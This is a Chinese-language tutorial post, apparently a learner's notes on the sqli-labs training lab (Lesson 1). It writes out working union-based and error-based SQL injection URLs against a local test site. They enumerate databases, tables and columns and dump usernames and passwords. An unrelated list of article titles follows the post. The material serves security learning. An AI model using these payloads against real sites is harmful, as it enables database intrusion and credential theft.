0x01字符注入

今天是第一天的学习sqli-labs

Lesson1:字符型注入

首先测试一下 ' 发现报错  然后 ''发现 不报错 这种大概率就是字符注入了

接下来我们进行列查询  查询语句

http://127.0.0.1/sql1/Less-1/?id=1%27%20order%20by%204%23

发现列数是3 这里后面之所以要用%23是因为这里我们的url在ger方式提交的时候要进行一次url转码 所以我们要让转码后的字符为#来闭合语句

查看当前数据库名称

http://127.0.0.1/sql1/Less-1/?id=%27%20union%20select%20null,database(),3%23

查看所有数据库名称

http://127.0.0.1/sql1/Less-1/?id=%27%20union%20select%20null,(select%20group_concat(schema_name)%20from%20information_schema.schemata),null%23

接下来数据库名称得到以后我们要进行获取表名  操作语句 这里你会遇见 直接table_schema=你想查的数据库名 这样行不通 得把它转换为16进制在赋值给前面才能成功

对16进制的解释、、、http://127.0.0.1/s/Less-1/?id=’ union select 1,2,(select group_concat(column_name) from information_schema.columns where table_schema = 0x7365637572697479 and table_name=0x7573657273)%23http://127.0.0.1/sql1/Less-1/?id=%27union%20select%20null,null,(select%20group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=database())%23

看到表名中有一个叫做users的表应该有点东西 接下来我们爆列名

http://127.0.0.1/sql1/Less-1/?id=%27union%20select%20null,null,(select%20group_concat(column_name)%20from%20information_schema.columns%20where%20table_name=%27users%27)%23

可以看见里面有username password这些关键字 我们就可以爆字段了

http://127.0.0.1/sql1/Less-1/?id=%27union%20select%20null,null,(select%20group_concat(username,0x3a,password)%20from%20users)%23

成功爆出字段usernamepassword字段名   0x3a: 0x是十六进制标志,3a是十进制的58,是ascii中的 ':' ,用以分割pasword和username。

0x02手工报错型注入

既然讲到这里 我们就来讲一下报错类型有些什么?

以下学习来自https://blog.csdn.net/weixin_42277564/article/details/80635586这个大佬

1、通过floor报错

and (select 1 from (select count(*),concat((payload),floor(rand(0)*2))x from information_schema.tables group by x)a)

注:输出字符长度限制为64个字符

payload填sql语句

2、通过updatexml报错

    and updatexml(1,payload,1)and updatexml(1,concat(0x7e,@@version,0x7e),1)注:输出字符有长度限制,最长32位

3、通过ExtractValue报错

    and extractvalue(1, payload)and extractv注:输出字符有长度限制,最长32位alue(1, concat(0x7e,@@version,0x7e))

我们简单的了解了报错型手工注入之后我们来进行实战

先要检查报错类型的payload

http://127.0.0.1/sql1/Less-1/?id=1%27%20and%201=1%23   ///并未报错
http://127.0.0.1/sql1/Less-1/?id=1%27%20and%201=2%23  ///报错了

证明确实存在手工报错型注入,

爆表的payload 这里我们运用的是上面的报错的方法的第二种

127.0.0.1/sql1/Less-1/?id=1' and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())))%23

可以看见成功爆出表名 接下来我们进行列名的爆破

http://127.0.0.1/sql1/Less-1/?id=1%27%20and%20extractvalue(1,concat(0x7e,(select%20group_concat(column_name)%20from%20information_schema.columns%20where%20table_name=%27users%27)))%23

这里发现这些并未显示完全 是因为这个报错最多就报错 32个字符 那我们可以用其他语句让他显示完全

http://127.0.0.1/sql1/Less-1/?id=1%27%20and%20extractvalue(1,concat(0x7e,(select%20group_concat(column_name)%20from%20information_schema.columns%20where%20table_name=%27users%27and%20column_name%20not%20in%20(%27user_id%27,%27first_name%27,%27last_name%27,%27user%27,%27avatar%27,%27last_login%27,%27failed_login%27))))%23

接下里就是爆值的操作

http://127.0.0.1/sql1/Less-1/?id=1%27%20and%20extractvalue(1,concat(0x7e,(select%20group_concat(username,0x3a,password)%20from%20users)))%23

同样使用not in显示其他值

http://127.0.0.1/sql1/Less-1/?id=1%27%20and%20extractvalue(1,concat(0x7e,(select%20group_concat(username,0x3a,password)%20from%20users%20where%20username%20not%20in%20(%27Dumb%27,%27Angelina%27))))%23

sqlmap这里我们就不讲了 基本上都会一把梭哈 嘿嘿

切记 少就是多 快就是慢哦~~

转载于:https://www.cnblogs.com/-zhong/p/10877728.html

sqli-labs(1)相关推荐

  1. 深入Managed DirectX9(四)

    选择正确的Device The number of possible permutations when cretion a device is quite staggering. 如今,市场里有大量 ...

  2. 元宇宙中的手势交互(四)第一款主流VR头显中的手势交互原理剖析(Meta Quest 2)

    简介 随着Facebook正式改名为Meta,元宇宙的概念也一夜之间在世界范围内被点燃.相应的,Quest2也正式改名为Meta Quest2.马克·扎克伯格在2020年底的时候说,一款VR头显成为主 ...

  3. R语言ggplot2可视化:ggplot2可视化使用labs函数为可视化图像添加(caption)图片说明文字、theme_bw中指定参数base_size来改变图片说明文字、轴标签等的大小

    R语言ggplot2可视化:ggplot2可视化使用labs函数为可视化图像添加(caption)图片说明文字.theme_bw中指定参数base_size来改变图片说明文字.轴标签等的大小 目录

  4. PrimeTime Labs学习笔记(一)

    // 本文对应PrimeTime2018.06 Lab1的学习 使用list_key_bindings命令来显示快捷键设置. 使用page_on/page_off命令来切换屏幕显示的效果(直接全部显示 ...

  5. 11月23日云栖精选夜读:阿里AI Labs王刚解读9小时卖出百万台的“天猫精灵” | 高山大学(GASA)

    11月14日的高山大学(GASA)思享课II期,阿里巴巴人工智能实验室首席科学家王刚教授为在场学员解读了"天猫精灵"这款产品以及阿里巴巴在人机交互上的突破,同时还就商业变现.与阿里 ...

  6. OK Labs公司的故事(1):从头开始

    译至:http://microkerneldude.wordpress.com/2014/08/29/ok-labs-story-1-the-beginning/ 译者注:seL4背景的补充材料 上周 ...

  7. Windows Print Spooler 远程代码执行漏洞(CVE-2021-1675)

    ​ 点击上方 订阅话题 第一时间了解漏洞威胁 0x01 漏洞描述 Windows Print Spooler是Windows的打印机后台处理程序,广泛的应用于各种内网中. 微软在2021年6月的安全更 ...

  8. Windows Print Spooler 远程代码执行漏洞(CVE-2021-34527)

    ​ 点击上方 订阅话题 第一时间了解漏洞威胁 0x01 漏洞描述 Windows Print Spooler是Windows的打印机后台处理程序,广泛的应用于各种内网中. 360漏洞云监测到微软最新披 ...

  9. SQLi LABS Less 27a 联合注入+布尔盲注+时间盲注

    第27a关是双引号字符型注入: 过滤了注释(/* -- #),关键字(select union),空格: 这篇文章提供联合注入.布尔盲注.时间盲注三种解题方式. 其他 SQLi LABS 靶场的解题步 ...

  10. SQLi LABS Less 27 联合注入+报错注入+布尔盲注+时间盲注

    第27关是单引号字符型注入: 过滤了注释(/* -- #),关键字(select union),空格: 这篇文章提供联合注入.报错注入.布尔盲注.时间盲注四种解题方式. 其他 SQLi LABS 靶场 ...

最新文章

  1. 2022-2028年中国公路客运行业市场研究及前瞻分析报告
  2. 图形显卡_显卡缺货?专业图形卡主机方案演示,Quadro P2200
  3. php动态网页转换成html,怎么把动态的php文件转换成静态的html文件,html文件是php文件…...
  4. [YTU]_2432 (C++习题 对象数组输入与输出)
  5. 数据结构—分别用头插法和尾插法建立单链表
  6. Spring Boot Web Slice测试–示例
  7. 3.5用户访问使用HTTPS
  8. 详解Python正则表达式基础操作
  9. vscode中如何修改vetur配置_vscode vetur插件配置不换行
  10. c语言sinx的幂级数展开式,sinx的幂级数展开式问题?
  11. 基于帧差法和背景差分法的背景提取及检测模型
  12. M1芯片MacBook安装手机app
  13. Activity初窥门径
  14. AlphaGo之父戴密斯·哈萨比斯:是天才,也是生活里的普通人
  15. NDN新增tag的方案
  16. 【Java SE系列】抽象类与接口
  17. localhost与ip的区别
  18. 人工智能学习梳理和总结
  19. MATLAB 数据分析方法(第2版)2.3 数据变换
  20. 新劳动法年假计算工具

热门文章

  1. python---使用get方法访问‘数据库’实体
  2. 一个存储过程实现(问题答案)
  3. MSMQ突破4M限制的方法
  4. python 网易_python发送网易邮件
  5. java filter的类_Java FilterOutputStream类
  6. C#学习笔记——类的继承
  7. Linux网络编程——多播
  8. 遍历实体包含的List
  9. 单片机控制电机原理以及程序怎么写
  10. mysql数据库操作函数_MySQL中几个常用的数据库操作函数